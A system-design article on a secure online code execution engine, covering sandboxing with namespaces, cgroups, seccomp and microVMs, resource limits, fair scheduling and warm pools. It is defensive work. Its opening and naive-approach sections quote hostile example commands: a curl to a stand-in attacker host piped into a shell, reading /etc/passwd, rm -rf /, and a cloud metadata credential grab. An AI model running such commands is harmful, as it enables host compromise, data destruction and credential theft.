Everyone thinks running user code is easy. “Take the code, shell out to python submission.py, capture stdout, compare it to the expected output - it is a subprocess.run call.” That mental model survives exactly until you remember the code is written by a stranger on the internet who is actively trying to break out. The “submission” is import os; os.system('curl attacker.com/x | sh'). Or while True: pass to burn your CPU forever. Or fork() in a loop to exhaust every process slot on the box. Or open('/etc/passwd').read() to read your host’s secrets. Or a 10 GB [0] * 10**9 allocation to OOM the machine. Or it opens a socket to your internal metadata endpoint and steals cloud credentials. The naive subprocess.run runs all of that with the privileges of your service, on your host, with your network. It is not a code runner, it is a remote shell you handed to the entire internet.

An online code execution engine - the thing under LeetCode, HackerRank, Codeforces, a coding-interview platform, or a cloud notebook’s “run” button - is deceptive because the happy path (compile, run, diff output) is a day of work, and the entire actual difficulty is in four words: run untrusted code safely. The whole design comes down to decisions that are not obvious from the happy path: isolation strong enough that a malicious submission cannot touch the host, other submissions, your network, or your filesystem; resource limits (CPU time, wall-clock time, memory, processes, file descriptors, output size) that are enforced by the kernel and cannot be talked out of; a scheduling layer that fairly spreads bursty, simultaneous submissions (a contest starts and 50,000 people hit “run” in the same ten seconds) across a worker pool without letting one heavy submission starve the rest; and an honest stance that you will be attacked constantly, so isolation is defense in depth, not one fence.

Let me do it properly.

Functional Requirements (FR)

In scope:

  • Submit code for execution. A caller sends source code, a language/runtime identifier (Python 3.12, C++20, Java 21, Go, Rust, JavaScript, …), optional stdin, and resource limits. The system compiles (if needed), runs it in isolation, and returns the result. This is the core.
  • Return structured results. stdout, stderr, exit code, wall-clock and CPU time used, peak memory, and a verdict: success, compile_error, runtime_error, time_limit_exceeded, memory_limit_exceeded, output_limit_exceeded, or internal_error. The caller needs to know why it failed, not just that it did.
  • Judge against test cases (online-judge mode). Run the submission against N test cases (each an input + expected output), compare output (exact, trimmed, or via a custom checker/special-judge for problems with multiple valid answers), and return per-test verdicts (Accepted, Wrong Answer, TLE, MLE, RE) plus an aggregate.
  • Enforce strict per-run limits. Hard caps on CPU time, wall-clock time, memory, number of processes/threads, open files, and output bytes - enforced by the kernel, with a clean verdict when a limit is hit rather than a crashed host.
  • Support synchronous “run” and asynchronous “submit”. A quick scratchpad run returns within a couple of seconds (sync); a 200-test judge run is queued and the caller polls or gets a webhook (async).
  • Multi-language support behind one interface. Each language is a pluggable runtime image with its own compile and run commands; adding a language is adding an image + a manifest, not rearchitecting.

Explicitly out of scope (say it so you own the scope):

  • A full cloud IDE / collaborative editor. We execute code and return results. The editor, file tree, autocomplete, real-time collaboration, and project persistence live in the product layer above us. We are the execution backend, not the IDE.
  • Long-running or interactive services. We run a program to completion (or to a limit) with fixed stdin. We do not host a persistent web server the user’s code starts, an interactive REPL session that stays alive across requests, or a process that waits on live user input mid-run. Those are different systems (a dev-container/Cloud-Shell product) with different isolation and lifecycle needs. We note where interactivity hooks in but do not build it.
  • Arbitrary package installation at run time. Each language image ships a curated, pinned set of libraries. We do not let a submission pip install from the internet at run time (that is both a security hole and a latency and reproducibility disaster). Custom dependency sets are a build-time concern (a custom image), not a run-time one.
  • Persisting user filesystems across runs. Each run gets a fresh, empty, throwaway sandbox. State does not carry from one run to the next. Notebook-style persistent kernels are explicitly a different product.
  • Perfect, unbreakable isolation as a one-time checkbox. Container and kernel isolation reduce risk enormously but are not a mathematical proof. We design defense in depth and assume a determined attacker may find a kernel bug; we minimize blast radius so one escape does not own the fleet. We are honest that this is an arms race, not a solved problem.

The one decision that drives everything: the execution engine is not a service that runs code, it is a service that runs code inside a disposable, resource-capped, network-denied, least-privilege sandbox on a worker that assumes the code is hostile. Every other choice - the queue, the worker pool, the result store, the scheduling - is scaffolding around that sandbox. Get the sandbox wrong and nothing else matters, because the first malicious submission owns your cluster.

Non-Functional Requirements (NFR)

  • Scale: on the order of tens of millions of executions/day steady, with massive contest spikes: a popular competitive round starts and submission rate jumps 50-100x for a few minutes as everyone submits at once. Design for the spike, not the average.
  • Latency: a simple synchronous run returns in p50 < 1s, p99 < 3s including sandbox setup. A judged submission against ~100 tests completes in a few seconds to low tens of seconds depending on time limits. The dominant controllable cost is sandbox startup - if spinning up isolation takes 2 seconds, nothing is fast.
  • Availability: 99.9%+ on accepting and executing submissions. A dead worker must not lose an in-flight submission (it is re-queued); the control plane accepting submissions must not be a single point of failure.
  • Isolation / security (the real NFR): a submission cannot read or write the host filesystem outside its sandbox, cannot see or signal other submissions’ processes, cannot reach the network (no egress by default, no access to internal services or cloud metadata), cannot exceed its resource caps, and cannot persist anything past its run. A single sandbox escape must be contained to one disposable worker, not the fleet. This is the property the system exists to protect.
  • Fairness: no single user, submission, or problem can monopolize the worker pool. A user who submits a 15-second TLE-bound solution must not delay a hundred other users’ 50ms runs. Bursty load is scheduled fairly, not first-come-first-served into starvation.
  • Determinism / reproducibility: the same code + input + language version produces the same verdict. Resource measurement (time, memory) is stable enough that a solution near the limit gets a consistent verdict, not a coin flip based on host load.

Back-of-the-Envelope Estimation (BoE)

Let me ground the design in numbers.

Submission volume and execution rate:

Daily executions:        30,000,000 runs/day (judge + scratchpad)
Average rate:            30M / 86,400s  = ~350 runs/sec steady
Contest spike:           a major round -> 50,000 active users, each submitting
                         every ~2 min during peak, plus "run" clicks between.
   Peak submit rate:     say 50,000 users * (1 submit / 20s at crunch time)
                         = ~2,500 submits/sec, and each judged submission
                         fans out to ~100 test-case executions
                         -> up to ~250,000 sandbox runs/sec at the spike.

The first non-obvious number: a “submission” is not one execution, it fans out to one-per-test-case, so a judge run against 100 tests is 100 sandbox executions. The spike in sandbox runs is one to two orders of magnitude above the spike in submissions. The scarce resource is sandbox-run throughput, and the queue must absorb a quarter-million-runs-per-second burst without dropping anything.

Compute per run and worker sizing:

Per sandbox run:  CPU-bound for the time limit (say 1-5s of CPU typical,
                  capped at a hard max e.g. 10s), plus ~50-200ms sandbox
                  setup/teardown if done well (pooled), seconds if done badly.
Concurrency/worker: a worker with 16 vCPU can run ~12-14 CPU-bound sandboxes
                  concurrently (leave headroom for the host + overhead).
Steady state:     350 submits/sec * 100 tests = 35,000 runs/sec? No -
   not every run is a 100-test judge. Mix: say average 20 executions/submit
   -> 350 * 20 = 7,000 runs/sec steady, each ~1s CPU
   -> ~7,000 concurrent sandbox-seconds/sec = 7,000 concurrent sandboxes
   -> 7,000 / 13 per worker = ~540 workers steady.
Spike:            250,000 runs/sec * ~1s = 250,000 concurrent
   -> 250,000 / 13 = ~19,000 workers at absolute peak.
   You do NOT provision 19K workers 24/7. You autoscale on queue depth,
   let the queue buffer the burst, and accept bounded extra latency during
   a contest rather than paying for peak capacity around the clock.

Storage:

Per submission record: id, user, problem, language, source (few KB),
   verdict, per-test results, timing/memory metrics ~ 5-20 KB.
30M/day * 15 KB = ~450 GB/day of submission+result data.
   Hot (recent, queryable) for days-weeks, then roll source + verbose
   per-test logs to cheap cold storage; keep the compact verdict hot.
Test-case data (problem inputs/expected outputs): modest total (GBs to
   low TBs), read-heavy, highly cacheable - the SAME tests are run
   thousands of times. Cache test cases hard on/near the workers.

Bandwidth / cache:

Source code in:  small (KBs/submission) - not a bandwidth concern.
Test cases:      read-mostly, cacheable. A hot problem's test set
                 (say up to tens of MB) is pulled once per worker and
                 reused across thousands of runs -> cache it on the worker's
                 local disk / a nearby object cache, never re-fetch per run.
Language images:  big (hundreds of MB each) but static - pre-pulled to every
                 worker at provision time, never on the hot path.
Result output:   capped per run (output_limit, e.g. 256 KB-1 MB) so a program
                 that prints forever cannot flood the pipe or the store.

The headline shape: the scarce resource is isolated CPU-seconds and sandbox startup throughput, dominated by contest spikes that are 50-250x the average, against small and highly cacheable data. Size workers for CPU-bound concurrency, make sandbox startup cheap (pooling), cache test cases and images off the hot path, autoscale on queue depth so the spike buffers instead of topples, and cap every output so a run cannot flood anything.

High-Level Design (HLD)

The system splits into a control plane that accepts submissions, validates them, and tracks their lifecycle, a durable queue that decouples submission from execution and absorbs spikes, a worker pool of hardened, autoscaled machines that each run submissions inside disposable sandboxes, a sandbox layer on each worker (the security core: container + kernel isolation + resource cgroups + seccomp + no network), a test-case/artifact store (cached near workers), and a result store the control plane reads from to answer status queries. A scheduler/dispatch policy sits over the queue to spread work fairly.

   CALLERS (product: IDE, judge UI, API)
  ┌───────────────┐
  │ POST /submit  │
  │ GET  /status  │
  └──────┬────────┘
         │ 1. submit (code, lang, tests ref, limits)
         ▼
 ┌─────────────────────┐   2. validate, persist submission (state=queued),
 │   CONTROL PLANE /    │      enqueue one message (or one per test shard)
 │   API + Dispatcher   │─────────────────────────────┐
 └─────────┬───────────┘                              │
           │ reads results                            ▼
           │                        ┌──────────────────────────────────┐
           │                        │     SUBMISSION QUEUE (durable,     │
           ▼                        │     partitioned, priority-aware)   │
 ┌─────────────────────┐            │  topics: run(sync) | judge(async)  │
 │    RESULT STORE      │◄───┐      │  per-tenant fair-share scheduling  │
 │  (verdict, metrics,  │    │      └───────────────┬──────────────────┘
 │   per-test results)  │    │                      │ 3. pull task (lease)
 └─────────────────────┘    │                      ▼
                            │   ┌──────── WORKER POOL (hardened, autoscaled on queue depth) ───────┐
                            │   │  worker (16 vCPU, dedicated, firewalled, non-root agent)          │
                            │   │   ┌───────────── SANDBOX (one per run, disposable) ───────────┐   │
   4. report result ───────┘   │   │  gVisor / microVM / rootless container                     │   │
      (verdict + metrics)      │   │   - read-only rootfs + small tmpfs scratch                 │   │
                               │   │   - cgroups: cpu, memory, pids caps (HARD)                 │   │
                               │   │   - seccomp-BPF syscall allowlist                          │   │
                               │   │   - no network namespace egress (loopback only)            │   │
                               │   │   - non-root uid, no caps, no setuid                       │   │
                               │   │   - wall-clock watchdog kills the whole cgroup             │   │
                               │   │   compile -> run(stdin) -> capture stdout/stderr/rc        │   │
                               │   └────────────────────────────────────────────────────────────┘  │
                               │   test cases + language image: pulled once, cached on worker disk  │
                               └────────────────────────────────────────────────────────────────────┘

Request flow - a judged submission (the async path):

  1. The product calls POST /submissions with the source, language id, a reference to the problem’s test set, and limits (or the problem’s defaults). The control plane validates (language supported, source under size cap, caller authorized/rate-limited), persists a submission row in state queued, and returns a submission_id immediately - read-your-writes, the caller can now poll status.
  2. The dispatcher enqueues the work onto the durable queue. For a judge run it can enqueue one task for the whole submission (worker runs all tests) or fan out one task per test shard for parallelism; the queue is partitioned and priority-aware so sync “run” requests ride a low-latency topic and bulk judge work rides another.
  3. A worker pulls a task under a visibility lease. It fetches (from local cache, else the artifact store) the language image and the test cases, then for each test it creates a fresh sandbox.
  4. Inside the sandbox the worker compiles (if the language needs it; a compile error short-circuits to a compile_error verdict for the whole submission), then runs the program with the test’s stdin under hard resource caps, capturing stdout, stderr, exit code, and measured CPU/wall time and peak memory. It compares output to expected (exact/trimmed/custom-checker) to produce a per-test verdict. The sandbox is destroyed after the run; nothing persists.
  5. The worker reports the aggregate and per-test results to the result store and acks the queue task. The control plane’s GET /submissions/{id} now returns the final verdict (or the caller gets a webhook).

Request flow - a quick scratchpad run (the sync path): identical, but the request rides the low-latency run topic, there is one execution (the user’s stdin, no test comparison), and the control plane holds the HTTP connection (or uses a short poll) to return stdout/stderr within a second or two from a warm pooled sandbox.

The key architectural insight: the control plane never runs code, and the worker never trusts it. The control plane is a normal, stateless web tier - it validates, persists, enqueues, and serves status, and it must stay fast and available. All danger is pushed down onto disposable sandboxes on dedicated, hardened workers behind a queue. The queue decouples accept-rate from execute-rate so a contest spike buffers instead of knocking over the API, and makes the worker pool independently autoscalable. Everything hostile happens in a box that is thrown away after one run.

Component Deep Dive

Four hard parts: (1) the sandbox itself - isolating untrusted code from the host; (2) enforcing resource limits that cannot be evaded; (3) scheduling bursty concurrent load fairly across the pool; and (4) making sandbox startup fast enough to hit the latency target. I will walk each from naive to the real design.

1. The Sandbox: Isolating Untrusted Code From the Host

This is the whole system. Everything else is plumbing.

Approach A: Just run the subprocess (the naive instinct)

Take the code, write it to a temp file, subprocess.run(["python", "sub.py"], timeout=5), capture stdout.

tmp = write(source)
result = subprocess.run([runtime, tmp], input=stdin, timeout=5,
                        capture_output=True)
return result.stdout

Where it breaks: catastrophically and immediately. The code runs as your service user, on your host, with full filesystem access (open('/etc/shadow'), open('/app/config/secrets.yaml')), full network access (exfiltrate data, hit http://169.254.169.254/ for cloud credentials, port-scan your VPC), and the ability to spawn processes, write files, and persist. os.system('rm -rf /'), a fork bomb, a crypto miner, a reverse shell - all of it just runs. timeout=5 does not even stop a fork bomb (the children outlive the parent). This is not a sandbox; it is remote code execution as a feature. Never, ever do this.

Approach B: chroot + rlimits + a non-root user (better, still porous)

Drop privileges to a dedicated low-privilege user, chroot into a minimal directory so the filesystem view is limited, and set POSIX rlimits (CPU time, address space, number of processes).

  • Progress: no longer root, filesystem view is narrowed, some resource caps exist.
  • Where it still breaks: chroot is not a security boundary - it only changes the root directory, and a process with any capability (or certain syscalls) can escape it; it does nothing for the network, nothing for seeing other processes, nothing for the kernel attack surface. rlimits are per-process and racy (a fork bomb spawns faster than you can count; RLIMIT_NPROC helps but memory via RLIMIT_AS is crude and per-process, not per-group). The code still shares the host kernel, network stack, and PID namespace. This is a fence with holes, not a sandbox. It raises the bar but a competent attacker walks through it.

Approach C: Namespaces + cgroups + seccomp + no network (a real container sandbox)

Use the full Linux isolation stack - what a hardened container runtime gives you - and configure it for hostile code:

Per run, create a sandbox with:
  - MOUNT namespace:  read-only rootfs (the language image) + a small
                      writable tmpfs for /tmp and the workdir; nothing else
                      visible. No host paths bind-mounted in.
  - PID namespace:    the code sees only its own processes (cannot signal
                      or even observe host/other-run processes).
  - NETWORK namespace: isolated, NO veth to the host, loopback only.
                      Zero egress - cannot reach the internet, the VPC,
                      internal services, or the cloud metadata endpoint.
  - USER namespace:   runs as an unprivileged uid mapped to nobody on the host;
                      no capabilities (drop ALL), no-new-privileges set,
                      no setuid binaries in the image.
  - IPC/UTS namespaces: isolated.
  - cgroups v2:       HARD caps on cpu, memory (memory.max -> OOM-kill the
                      cgroup, not the host), and pids.max (kills fork bombs).
  - seccomp-BPF:      syscall ALLOWLIST - permit only what the runtime needs
                      (read/write/mmap/exit/...); DENY ptrace, mount, the
                      kernel keyring, bpf, clone of new namespaces, unusual
                      network syscalls, etc. Unknown/dangerous syscall -> kill.
  • This is a genuine boundary. The code cannot see the host filesystem (read-only rootfs, no host mounts), cannot reach any network (no egress path exists, not a firewall rule but a missing interface), cannot see or touch other processes (PID namespace), runs with zero privileges (user namespace + dropped caps + no-new-privs), is hard-capped on CPU/memory/pids by the kernel (cgroups), and has a shrunk kernel attack surface (seccomp allowlist). The fork bomb hits pids.max and dies; the memory bomb hits memory.max and the cgroup is OOM-killed; the network exfiltration has nowhere to go.
  • The remaining risk is the shared kernel. Containers share the host kernel, so a kernel vulnerability reachable through the (narrowed) syscall surface is the escape path that remains. seccomp shrinks that surface hard, but it is not zero. This is the honest limit of plain containers for untrusted multi-tenant code.

Approach D: Defense in depth - a stronger sandbox + a disposable, contained worker

Because the shared kernel is the residual risk, the real design hardens the sandbox and contains the blast radius if it is ever breached:

  • A stronger isolation layer for the untrusted tenant boundary. Use one of: gVisor (a user-space kernel that intercepts syscalls, so the real host kernel is barely exposed - dramatically smaller attack surface, at some syscall-heavy performance cost), or lightweight microVMs (Firecracker/Kata - each run gets its own tiny VM with its own guest kernel, so a guest-kernel escape still hits a hardware-virtualization boundary before the host). You trade a little startup time and CPU for a second, much stronger wall. For a platform running arbitrary internet code, this is the standard choice: the plain-container boundary alone is too thin.
  • Disposable, single-use sandboxes. Each run gets a fresh sandbox and it is destroyed after, period. No reuse means no state leaks between submissions (one user cannot read another’s leftover files or memory) and a compromised sandbox lives for one run. Build images read-only and minimal (no shell, no compilers at run time beyond what is needed, no network tools) to shrink what an escaped process can even do.
  • Contain the worker, assume breach. Treat each worker as expendable and hostile-capable: run the worker agent as non-root, put workers in a locked-down network segment with no access to internal services, databases, secrets, or the cloud metadata endpoint (block 169.254.169.254 at the host and network level - stolen instance credentials are the classic cloud escape payoff), give workers minimal IAM (they need the queue and the artifact cache, nothing else), and recycle workers periodically (re-image on a schedule or after N runs) so a persistent foothold is wiped. A single sandbox escape then yields a stripped, credential-less, network-isolated box that gets re-imaged - not a pivot into your cluster.
  • Dedicated capacity for untrusted work. Do not co-locate untrusted execution with your control plane, databases, or other tenants’ trusted workloads on the same host. The untrusted fleet is physically/logically separate, so even a host-level compromise does not sit next to anything valuable.

The isolation answer is layered: a strong per-run sandbox (gVisor or microVM) + full namespace/cgroup/seccomp hardening + a disposable single-use rootfs + a credential-less, network-isolated, periodically-recycled worker. No single layer is trusted to be perfect; the design assumes each can fail and ensures a failure is contained to one throwaway box. Security here is not a checkbox, it is depth plus a small blast radius.

2. Resource Limits That Cannot Be Evaded

A sandbox that isolates but does not bound lets one submission burn the host’s CPU and memory forever. Limits must be kernel-enforced, measured accurately, and produce a clean verdict.

Approach A: Language-level timeout + a watchdog thread (naive)

Wrap the run in timeout=5 and a thread that measures memory by polling.

Where it breaks: application-level timeouts are unreliable against hostile code - a tight C loop may not yield, native code can ignore signals, and subprocess.timeout kills the parent but not the process group, so children (a fork bomb’s offspring) survive. Polling memory from user space is racy: a program can allocate gigabytes between two polls and OOM the host before your watchdog notices. CPU time measured by wall clock is wrong under a loaded host (a solution gets TLE not because it is slow but because the box is busy). Naive limits are both evadable and inaccurate.

Approach B: cgroups for enforcement + a wall-clock watchdog + the kernel for measurement

Put every run in its own cgroup and let the kernel enforce and measure:

Create cgroup for the run, set:
  cpu.max        -> CPU bandwidth cap (and/or measure cpu.stat usage)
  memory.max     -> hard memory ceiling; exceeding it OOM-kills the whole
                    cgroup (every process in it), reported as MLE
  pids.max       -> hard process/thread count; a fork bomb hits it and
                    clone() fails -> contained, verdict runtime_error
Enforce time two ways:
  - CPU time: read cpu.stat (usage_usec) -> the actual CPU consumed,
    independent of host load; exceed the problem's CPU limit -> TLE
  - Wall clock: a watchdog outside the sandbox; if wall time exceeds a
    hard cap (CPU limit + slack, to catch sleeps/blocking), SIGKILL the
    ENTIRE cgroup (cgroup.kill) so no child escapes
Enforce output:
  - cap captured stdout/stderr at output_limit bytes; stop reading and
    verdict output_limit_exceeded rather than buffering unbounded output
  • Enforcement is kernel-level and group-wide. memory.max and pids.max are enforced by the kernel on the whole cgroup, so a fork bomb or memory bomb is stopped atomically, not raced by a user-space poller. Killing via cgroup.kill reaps every process in the run, so no orphaned child survives.
  • Measurement is accurate and load-independent. Reading CPU time from cpu.stat measures the work the program actually did on-CPU, so a solution gets TLE for being algorithmically slow, not for being unlucky about host load - this is the difference between a fair judge and a flaky one. Peak memory comes from memory.peak. Report both back so the user sees real numbers.
  • Both a CPU limit and a wall-clock cap, on purpose. CPU time catches compute-heavy solutions fairly; the wall-clock watchdog catches a program that sleeps or blocks on I/O to dodge the CPU meter (it is not using CPU, so CPU time never trips, but it is holding a slot). You need both: CPU time for fairness of judging, wall clock as the hard backstop that always frees the slot.
  • Determinism near the boundary. To keep a near-the-limit solution from getting a random verdict, run judge executions on CPU-pinned, low-contention workers (limit concurrent sandboxes per core, or pin one run per core for official judging), so measured time is stable. Pin the language runtime version and flags so the same code behaves the same across runs.

Kernel-enforced cgroup caps (memory, pids) stop the resource bombs atomically; CPU-time measurement from the kernel makes judging fair and load-independent; a wall-clock watchdog that kills the whole cgroup is the backstop that always reclaims the slot; and output caps stop the print-forever flood. The kernel enforces, the kernel measures - user-space polling is never trusted for either.

3. Scheduling Bursty Concurrent Submissions Fairly

A contest starts and 50,000 people submit in ten seconds, each fanning out to ~100 test executions. First-come-first-served melts: one user’s 100 slow TLE-bound tests can sit ahead of a thousand fast runs.

Approach A: One global FIFO queue, pull and run (naive)

A single queue; workers pull the head and run it to completion.

Where it breaks: no fairness and no isolation of cost. A user who submits a batch of maximum-time-limit solutions puts hundreds of 10-second executions at the head; everyone behind them waits, even people doing a 50ms scratchpad run. Latency-sensitive “run” clicks are stuck behind bulk judge work. A single heavy tenant degrades everyone. FIFO is fair to arrival order, which is exactly the wrong thing to be fair to when costs and priorities differ wildly.

Approach B: Priority topics + per-tenant fair-share + fan-out + autoscaling

Layer the scheduling:

  • Separate by priority/class into different topics. A low-latency run topic for synchronous scratchpad executions (small, must feel instant) and a bulk judge topic for asynchronous multi-test submissions. Dedicate (or weight) worker capacity so interactive runs are never stuck behind a contest’s bulk backlog. A contest flood fills judge; run stays snappy because it has its own lane.
  • Per-tenant fair scheduling within a topic. Do not let one user (or one problem, during a contest everyone hammers the same problem) monopolize the pool. Use weighted fair queuing: round-robin across users/tenants rather than draining one user’s whole batch first, so 50,000 users each get steady progress instead of a few users finishing while the rest wait. Cap max concurrent executions per user so a single account cannot grab the whole fleet. This is the core fairness mechanism.
  • Fan out a judge submission across workers. A 100-test submission is 100 independent executions; shard them so multiple workers run tests of the same submission in parallel, then aggregate. This cuts a submission’s wall-clock latency and spreads its cost rather than pinning it to one worker for 100 sequential runs. Short-circuit on first failure if the product wants fail-fast (stop at the first Wrong Answer/TLE) to save compute.
  • Absorb the spike in the queue, autoscale on depth. The durable queue buffers the contest burst; workers pull at their sustainable rate; the pool autoscales on queue depth and oldest-message age (the signal that directly measures “are we falling behind”), not on CPU. Because workers are stateless and sandboxes disposable, scaling out is safe - add workers, they start pulling. Accept that during the first minute of a huge contest, judge latency rises (bounded) while the pool scales, rather than over-provisioning 19,000 workers around the clock.
  • Backpressure and admission control. If the queue depth crosses a ceiling even after scaling, apply per-tenant rate limits and return a clear “queued, retry/poll” rather than accepting unbounded work. Protect the system from a submission storm (or an abusive client) by shedding at the edge, fairly, before the workers are buried.

Priority lanes keep interactive runs fast, per-tenant weighted fair queuing stops any one user or hot problem from monopolizing the pool, fan-out parallelizes a submission across workers, and a buffering queue with depth-based autoscaling turns the contest spike into bounded latency instead of a stalled system.

4. Making Sandbox Startup Fast Enough

If creating isolation takes two seconds, a “run” button that should feel instant feels broken, and the stronger your isolation (microVM) the worse cold start gets. Startup is the dominant controllable latency.

Approach A: Cold-create a full container/VM per run (naive)

For every execution, pull/prepare the image, create the container or boot the VM, run, tear down.

Where it breaks: cold-booting a microVM or spinning a fresh container with full image prep can cost hundreds of milliseconds to seconds - often more than the code’s own runtime. At scale that startup cost dominates both latency and CPU; you spend more compute creating sandboxes than running code. The strongest isolation (a booting guest kernel) is the slowest to start, so naive per-run cold start forces a bad isolation-vs-latency trade.

Approach B: Warm pools + snapshot restore + local image/test caching

Amortize startup instead of paying it per run:

  • Pre-warmed sandbox pool. Keep a pool of ready, idle sandboxes per popular language already created (namespaces set up, runtime loaded) and hand an incoming run a warm one, reset to a clean state. The hot path becomes “grab warm sandbox, inject code + stdin, run” - tens of milliseconds, not seconds. Refill the pool in the background. Size the warm pool per language by demand (keep more Python/C++ warm).
  • Snapshot/restore for microVMs. Firecracker-style snapshotting boots a VM to the “ready to run user code” point once, snapshots its memory/state, and restores from that snapshot per run in low tens of milliseconds - near-container startup speed with VM-strength isolation. This is how you get both strong isolation and fast start; it is the key technique for the microVM path.
  • Single-use with fast reset. A warm sandbox is still used once then recycled (security: no state leak), but recycling is cheap because you restore from a clean snapshot or recreate the lightweight namespaced container from cached layers rather than re-pulling and re-prepping an image.
  • Cache everything static off the hot path. Language images are pre-pulled to every worker at provision time (never fetched per run). Test cases are cached on the worker’s local disk / a nearby cache after first fetch and reused across the thousands of runs that hit the same problem - during a contest, one problem’s tests are read constantly, so a local cache turns N network fetches into one. Compiled artifacts for a submission are reused across that submission’s test cases (compile once, run the binary against all 100 tests).
  • Compile once, run many. For compiled languages, compile the submission a single time, then run the resulting binary against every test case in fresh sandboxes. Never recompile per test - compilation can dwarf execution, and it is identical across tests.

Warm pools and snapshot-restore collapse per-run startup from seconds to tens of milliseconds, so strong isolation stops costing latency; caching images and test cases off the hot path and compiling once per submission remove the other repeated costs - turning the engine from “mostly spent setting up sandboxes” into “mostly spent running code.”

API Design & Data Schema

Submission API (control plane)

POST /v1/submissions                         # submit code for execution/judging
  { "language": "cpp20",
    "source": "#include <bits/stdc++.h> ...",   # <= size cap (e.g. 256 KB)
    "mode": "run" | "judge",
    "stdin": "5\n1 2 3 4 5\n",                   # run mode: direct input
    "problem_id": "two-sum",                     # judge mode: test set ref
    "limits": { "cpu_ms": 2000, "wall_ms": 5000,
                "memory_mb": 256, "pids": 64,
                "output_kb": 256 },              # or inherit problem defaults
    "checker": "exact" | "trimmed" | "special:floating-eps-1e-6",
    "callback_url": "https://product/webhooks/judge" }   # optional, async
  -> 202 { "submission_id": "sub_7Qd2", "state": "queued" }

GET  /v1/submissions/{id}
  -> { "submission_id": "sub_7Qd2",
       "state": "queued|running|done",
       "verdict": "Accepted" | "Wrong Answer" | "TLE" | "MLE" | "RE"
                | "Compile Error" | "Internal Error",
       "compile": { "ok": true, "stderr": "" },
       "tests": [ { "idx": 0, "verdict": "Accepted",
                    "cpu_ms": 42, "wall_ms": 55, "memory_mb": 12 },
                  { "idx": 1, "verdict": "TLE",
                    "cpu_ms": 2001, "wall_ms": 2003, "memory_mb": 30 } ],
       "passed": 97, "total": 100,
       "metrics": { "max_cpu_ms": 2001, "max_memory_mb": 48 } }

GET  /v1/submissions/{id}/output              # run mode: stdout/stderr (capped)
POST /v1/submissions/{id}/cancel              # best-effort cancel if still queued
GET  /v1/languages                            # supported languages + versions + defaults

Internal worker contract (via the queue, not public HTTP)

PULL        -> lease a task: { task_id, submission_id, language, source_ref,
                               tests_ref | stdin, limits, checker, lease_until }
HEARTBEAT(task_id)   -> extend lease while running a long judge batch
REPORT(task_id, result)  -> write verdict + per-test metrics; ACK task
NACK(task_id, reason)    -> requeue (worker died / transient) with backoff;
                            after max_attempts -> internal_error verdict

Data model

The control-plane data is a straightforward relational store (submissions, their state, verdicts, per-test results) - it needs transactional state transitions, lookups by user/problem, and is modest in size. Test-case data and large verbose logs are blobs in object storage, referenced by id and cached near workers.

submissions (relational):

submission_id    STRING   PRIMARY KEY
user_id          STRING   INDEX
problem_id       STRING   INDEX            # null for scratchpad run mode
language         STRING
source_ref       STRING                    # object-store pointer (code is small but kept there)
mode             ENUM     # run | judge
state            ENUM     # queued | running | done | cancelled
verdict          ENUM     # Accepted | WrongAnswer | TLE | MLE | RE | CompileError | InternalError
passed           INT
total             INT
max_cpu_ms       INT
max_memory_mb    INT
limits           JSON                       # applied limits (for reproducibility)
attempt          INT
created_at, updated_at TIMESTAMP

INDEX idx_user_time (user_id, created_at)   # a user's submission history
INDEX idx_state (state)                     # dispatcher/monitoring

test_results (relational or wide-column; one row per test per submission):

submission_id    STRING   PARTITION KEY
test_idx         INT      CLUSTERING KEY
verdict          ENUM
cpu_ms           INT
wall_ms          INT
memory_mb        INT
stderr_ref       STRING   # object-store pointer, nullable (verbose logs offloaded)

PRIMARY KEY (submission_id, test_idx)       # fetch all tests of a submission in order

problems / test sets (object storage + a small index):

problem_id       STRING   PRIMARY KEY
test_set_ref     STRING   # object-store prefix: inputs + expected outputs, versioned
default_limits   JSON
checker          STRING   # exact | trimmed | special-judge binary ref
version          INT      # bump invalidates worker test caches

Test files live in object storage, immutable + versioned, aggressively
cached on worker local disk keyed by (problem_id, version).

SQL vs NoSQL - the choice and why. The submissions table wants transactional state transitions (queued -> running -> done), secondary-index queries (a user’s history, a problem’s submissions, state for the dispatcher), and foreign-key-ish integrity, at a size (tens of millions/day, rolled to cold storage after weeks) a sharded relational store (Postgres/MySQL, sharded by user_id or submission_id) handles cleanly - so SQL for the control plane. Per-test results are high-volume, append-mostly, and always read together per submission, which fits a wide-column store (Cassandra/Bigtable) partitioned by submission_id, or a partitioned SQL table if volume is moderate. Source code, verbose stderr, and test-case files are blobs with no query needs - object storage, referenced by id, with the test files versioned and worker-cached. The deciding factor is the access pattern, not dogma: strongly-consistent, queryable, modest -> SQL; high-volume append-and-read-by-key -> wide-column; large immutable blobs -> object store + cache.

Bottlenecks & Scaling

Where it breaks first, in order, and the fix for each:

1. A single sandbox escape owns the fleet. The worst failure: untrusted code breaks isolation and pivots. Fix: defense in depth - a strong per-run boundary (gVisor or microVM, not plain containers alone) + full namespace/cgroup/seccomp hardening + disposable single-use sandboxes + a credential-less, network-isolated, periodically re-imaged worker that blocks the cloud metadata endpoint and holds no secrets. One escape yields a stripped throwaway box, not a cluster pivot. This is the single most important design decision.

2. Resource bombs (fork bomb, memory bomb, infinite loop). One submission tries to take the host. Fix: kernel-enforced cgroup caps - pids.max kills fork bombs, memory.max OOM-kills the cgroup on a memory bomb, cpu.max/CPU-time measurement plus a wall-clock watchdog that cgroup.kills every process reclaims the slot from an infinite loop. Enforcement and measurement are the kernel’s, never user-space polling.

3. Sandbox startup dominates latency and CPU. Cold-creating isolation per run is slower than the code itself. Fix: pre-warmed sandbox pools and snapshot/restore (Firecracker-style) to get microVM-strength isolation at tens-of-ms startup; compile once per submission, run the binary across all tests; pre-pull language images at provision time.

4. Contest spike (50-250x) buries the pool. Everyone submits in the same ten seconds. Fix: the durable queue buffers the burst, autoscale workers on queue depth / oldest-message age, and accept bounded extra latency during the first minute of scale-out rather than paying for peak capacity 24/7. Stateless workers + disposable sandboxes make scale-out safe.

5. Unfair scheduling starves most users. FIFO lets one heavy user or the hot contest problem monopolize workers. Fix: priority topics (fast run lane vs bulk judge lane) + per-tenant weighted fair queuing + max concurrent executions per user so progress is spread across all users, not drained one batch at a time. Admission control / per-tenant rate limits shed load fairly at the edge if even autoscaling cannot keep up.

6. Test-case fetch becomes the hot path. The same problem’s tests are read thousands of times during a contest. Fix: cache test cases on worker local disk keyed by (problem_id, version); fetch once, reuse across all runs; version-bump invalidation. Immutable, versioned test sets make caching trivially correct.

7. Output flood. A program prints forever and fills buffers/storage/bandwidth. Fix: hard output cap per run - stop reading at output_limit, verdict output_limit_exceeded, never buffer unbounded; truncate stored stderr and offload verbose logs to object storage by reference.

